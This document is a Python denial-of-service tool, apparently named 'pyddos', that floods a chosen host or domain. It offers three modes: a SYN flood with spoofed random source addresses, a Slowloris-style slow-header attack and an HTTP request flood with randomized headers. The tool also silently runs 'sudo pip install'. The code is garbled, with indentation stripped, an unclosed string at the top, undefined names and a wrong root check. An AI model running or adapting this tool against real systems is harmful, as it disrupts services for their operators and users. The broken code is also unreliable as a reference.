#!/usr/bin/env python3
version= '3.0
'''
import re
import os
import sys
import json
import time
import string
import signal
import http.client,urllib.parse
from random import *
from socket import *
from struct import *
from threading import *
from argparse import ArgumentParser,RawTextHelpFormatter
if os.name == 'posix':
c = os.system('which pip')
if c == 256:
os.system('sudo apt-get install python-pip')
else:
pass
else:
print ('[-] Check your pip installer')
try:
import requests,colorama
from termcolor import colored,cprint
except:
try:
if os.name == 'posix':
os.system('sudo pip install colorama termcolor requests')
sys.exit('[+] I have installed necessary modules for you')
elif os.name == 'nt':
os.system('pip install colorama requests termcolor')
sys.exit('[+] I have installed nessecary modules for you')
else:
sys.exit('[-] Download and install necessary modules')
except Exception as e:
print ('[-]',e)
if os.name == 'nt':
colorama.init()
signal.signal(signal.SIGFPE,signal.SIG_DFL)
def fake_ip():
while True:
ips = [str(randrange(0,256)) for i in range(4)]
if ips[0] == "127":
continue
fkip = '.'.join(ips)
break
return fkip
def check_tgt(args):
tgt = args.d
try:
ip = gethostbyname(tgt)
except:
sys.exit(cprint('[-] Can\'t resolve host:Unknown host!','red'))
return ip
def add_useragent():
try:
with open("./ua.txt","r") as fp:
uagents = re.findall(r"(.+)\n",fp.read())
except FileNotFoundError:
cprint('[-] No file named \'ua.txt\',failed to load User-Agents','yellow')
return []
return uagents
def add_bots():
bots=[]
bots.append('http://www.bing.com/search?q=%40&count=50&first=0')
bots.append('http://www.google.com/search?hl=en&num=100&q=intext%3A%40&ie=utf-8')
return bots
class Pyslow:
def __init__(self,
tgt,
port,
to,
threads,
sleep):
self.tgt = tgt
self.port = port
self.to = to
self.threads = threads
self.sleep = sleep
self.method = ['GET','POST']
self.pkt_count = 0
def mypkt(self):
text = choice(self.method) + ' /' + str(randint(1,999999999)) + ' HTTP/1.1\r\n'+\
'Host:'+self.tgt+'\r\n'+\
'User-Agent:'+choice(add_useragent())+'\r\n'+\
'Content-Length: 42\r\n'
pkt = buffer(text)
return pkt
def building_socket(self):
try:
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)
sock.settimeout(self.to)
sock.connect((self.tgt,int(self.port)))
self.pkt_count += 3
if sock:
sock.sendto(self.mypkt(),(self.tgt,int(self.port)))
self.pkt_count += 1
except Exception:
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)
sock.settimeout(self.to)
sock.connect((self.tgt,int(self.port)))
sock.settimeout(None)
self.pkt_count+=3
if sock:
sock.sendto(self.mypkt(),(self.tgt,int(self.port)))
self.pkt_count+=1
except KeyboardInterrupt:
sys.exit(cprint('[-] Canceled by user','red'))
return sock
def sending_packets(self):
try:
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)
sock.settimeout(self.to)
sock.connect((self.tgt,int(self.port)))
self.pkt_count+=3
if sock:
sock.sendall('X-a: b\r\n')
self.pkt+=1
except Exception:
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)
sock.settimeout(self.to)
sock.connect((self.tgt,int(self.port)))
sock.settimeout(None)
if sock:
sock.sendall('X-a: b\r\n')
self.pkt_count+=1
except KeyboardInterrupt:
sys.exit(cprint('[-] Canceled by user','red'))
return sock
def doconnection(self):
socks = 0
fail=0
lsocks=[]
lhandlers=[]
cprint('\t\tBuilding sockets','blue')
while socks < (int(self.threads)):
try:
sock = self.building_socket()
if sock:
lsocks.append(sock)
socks+=1
if socks > int(self.threads):
break
except Exception:
fail+=1
except KeyboardInterrupt:
sys.exit(cprint('[-] Canceled by user','red'))
cprint('\t\tSending packets','blue')
while socks < int(self.threads):
try:
handler = self.sending_packets()
if handler:
lhandlers.append(handler)
socks+=1
if socks > int(self.threads):
break
else:
pass
except Exception:
fail+=1
except KeyboardInterrupt:
break
sys.exit(cprint('[-] Canceled by user','red'))
# print colored('I have sent ','green') + colored(str(self.pkt_count),'cyan') + colored(' packets successfully.Now i\'m going to sleep for ','green') + colored(self.sleep,'red') + colored(' second','green')
time.sleep(self.sleep)
class Requester(Thread):
def __init__(self,tgt):
Thread.__init__(self)
self.tgt = tgt
self.port = None
self.ssl = False
self.req = []
self.lock=Lock()
url_type = urllib.parse.urlparse(self.tgt)
if url_type.scheme == 'https':
self.ssl = True
if self.ssl == True:
self.port = 443
else:
self.port = 80
def header(self):
cachetype = ['no-cache','no-store','max-age='+str(randint(0,10)),'max-stale='+str(randint(0,100)),'min-fresh='+str(randint(0,10)),'notransform','only-if-cache']
acceptEc = ['compress,gzip','','*','compress;q=0,5, gzip;q=1.0','gzip;q=1.0, indentity; q=0.5, *;q=0']
acceptC = ['ISO-8859-1','utf-8','Windows-1251','ISO-8859-2','ISO-8859-15']
bot = add_bots()
c=choice(cachetype)
a=choice(acceptEc)
http_header = {
'User-Agent' : choice(add_useragent()),
'Cache-Control' : c,
'Accept-Encoding' : a,
'Keep-Alive' : '42',
'Host' : self.tgt,
'Referer' : choice(bot)
}
return http_header
def rand_str(self):
mystr=[]
for x in range(3):
chars = tuple(string.ascii_letters+string.digits)
text = (choice(chars) for _ in range(randint(7,14)))
text = ''.join(text)
mystr.append(text)
return '&'.join(mystr)
def create_url(self):
return self.tgt + '?' + self.rand_str()
def data(self):
url = self.create_url()
http_header = self.header()
return (url,http_header)
def run(self):
try:
if self.ssl:
conn = http.client.HTTPSConnection(self.tgt,self.port)
else:
conn = http.client.HTTPConnection(self.tgt,self.port)
self.req.append(conn)
for reqter in self.req:
(url,http_header) = self.data()
method = choice(['get','post'])
reqter.request(method.upper(),url,None,http_header)
except KeyboardInterrupt:
sys.exit(cprint('[-] Canceled by user','red'))
except Exception as e:
print (e)
finally:
self.closeConnections()
def closeConnections(self):
for conn in self.req:
try:
conn.close()
except:
pass
class Synflood(Thread):
def __init__(self,tgt,ip,sock=None):
Thread.__init__(self)
self.tgt = tgt
self.ip = ip
self.psh = ''
if sock is None:
self.sock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP)
self.sock.setsockopt(IPPROTO_IP,IP_HDRINCL,1)
else:
self.sock=sock
self.lock=Lock()
def checksum(self):
s = 0
for i in range(0,len(self.psh),2):
w = (ord(self.psh[i]) << 8) + (ord(self.psh[i+1]))
s = s+w
s = (s>>16) + (s & 0xffff)
s = ~s & 0xffff
return s
def Building_packet(self):
ihl=5
version=4
tos=0
tot=40
id=54321
frag_off=0
ttl=64
protocol=IPPROTO_TCP
check=10
s_addr=inet_aton(self.ip)
d_addr=inet_aton(self.tgt)
ihl_version = (version << 4) + ihl
ip_header = pack('!BBHHHBBH4s4s',ihl_version,tos,tot,id,frag_off,ttl,protocol,check,s_addr,d_addr)
source = 54321
dest = 80
seq = 0
ack_seq = 0
doff = 5
fin = 0
syn = 1
rst = 0
ack = 0
psh = 0
urg = 0
window = htons(5840)
check = 0
urg_prt = 0
offset_res = (doff << 4)
tcp_flags = fin + (syn << 1) + (rst << 2) + (psh << 3) + (ack << 4) + (urg << 5)
tcp_header=pack('!HHLLBBHHH',source,dest,seq,ack_seq,offset_res,tcp_flags,window,check,urg_prt)
src_addr = inet_aton(self.ip)
dst_addr = inet_aton(self.tgt)
place = 0
protocol = IPPROTO_TCP
tcp_length = len(tcp_header)
self.psh = pack('!4s4sBBH',src_addr,dst_addr,place,protocol,tcp_length);
self.psh = self.psh + tcp_header;
tcp_checksum = self.checksum()
tcp_header = pack('!HHLLBBHHH',source,dest,seq,ack_seq,offset_res,tcp_flags,window,tcp_checksum,urg_prt)
packet = ip_header + tcp_header
return packet
def run(self):
packet=self.Building_packet()
try:
self.lock.acquire()
self.sock.sendto(packet,(self.tgt,0))
except KeyboardInterrupt:
sys.exit(cprint('[-] Canceled by user','red'))
except Exception as e:
cprint(e,'red')
finally:
self.lock.release()
def main():
parser = ArgumentParser(
usage='./%(prog)s -t [target] -p [port] -t [number threads]',
formatter_class=RawTextHelpFormatter,
prog='pyddos',
description=cprint(title,'white',attrs=['bold']),
epilog='''
Example:
./%(prog)s -d www.example.com -p 80 -T 2000 -Pyslow
./%(prog)s -d www.domain.com -s 100 -Request
./%(prog)s -d www.google.com -Synflood -T 5000 -t 10.0
'''
)
options = parser.add_argument_group('options','')
options.add_argument('-d',metavar='<ip|domain>',default=False,help='Specify your target such an ip or domain name')
options.add_argument('-t',metavar='<float>',default=5.0,help='Set timeout for socket')
options.add_argument('-T',metavar='<int>',default=1000,help='Set threads number for connection (default = 1000)')
options.add_argument('-p',metavar='<int>',default=80,help='Specify port target (default = 80)' + colored(' |Only required with pyslow attack|','red'))
options.add_argument('-s',metavar='<int>',default=100,help='Set sleep time for reconnection')
options.add_argument('-i',metavar='<ip address>',default=False,help='Specify spoofed ip unless use fake ip')
options.add_argument('-Request',action='store_true',help='Enable request target')
options.add_argument('-Synflood',action='store_true',help='Enable synflood attack')
options.add_argument('-Pyslow',action='store_true',help='Enable pyslow attack')
options.add_argument('--fakeip',action='store_true',default=False,help='Option to create fake ip if not specify spoofed ip')
args = parser.parse_args()
if args.d == False:
parser.print_help()
sys.exit()
add_bots();add_useragent()
if args.d:
check_tgt(args)
if args.Synflood:
uid = os.getpid()
if uid == 0:
cprint('[*] You have enough permisson to run this script','green')
time.sleep(0.5)
else:
sys.exit(cprint('[-] You haven\'t enough permission to run this script','red'))
tgt=check_tgt(args)
synsock=socket(AF_INET,SOCK_RAW,IPPROTO_TCP)
synsock.setsockopt(IPPROTO_IP,IP_HDRINCL,1)
ts=[]
threads=[]
print (colored('[*] Started SYN Flood: ','blue')+colored(tgt,'red'))
while 1:
if args.i == False:
args.fakeip = True
if args.fakeip == True:
ip = fake_ip()
else:
ip = args.i
try:
for x in range(0,int(args.T)):
thread=Synflood(tgt,ip,sock=synsock)
thread.setDaemon(True)
thread.start()
thread.join()
except KeyboardInterrupt:
sys.exit(cprint('[-] Canceled by user','red'))
elif args.Request:
tgt = args.d
threads = []
print (colored('[*] Start send request to: ','blue')+colored(tgt,'red'))
while 1:
try:
for x in range(int(args.T)):
t=Requester(tgt)
t.daemon = True
t.start()
t.join()
except KeyboardInterrupt:
sys.exit(cprint('[-] Canceled by user','red'))
elif args.Pyslow:
try:
tgt = args.d
port = args.p
to = float(args.t)
st = int(args.s)
threads = int(args.T)
except Exception as e:
print ('[-]',e)
while 1:
try:
worker=Pyslow(tgt,port,to,threads,st)
worker.doconnection()
except KeyboardInterrupt:
sys.exit(cprint('[-] Canceled by user','red'))
if not (args.Synflood) and not (args.Request) and not (args.Pyslow):
parser.print_help()
print
sys.exit(cprint('[-] You must choose attack type','red'))
if __name__ == '__main__':
main()
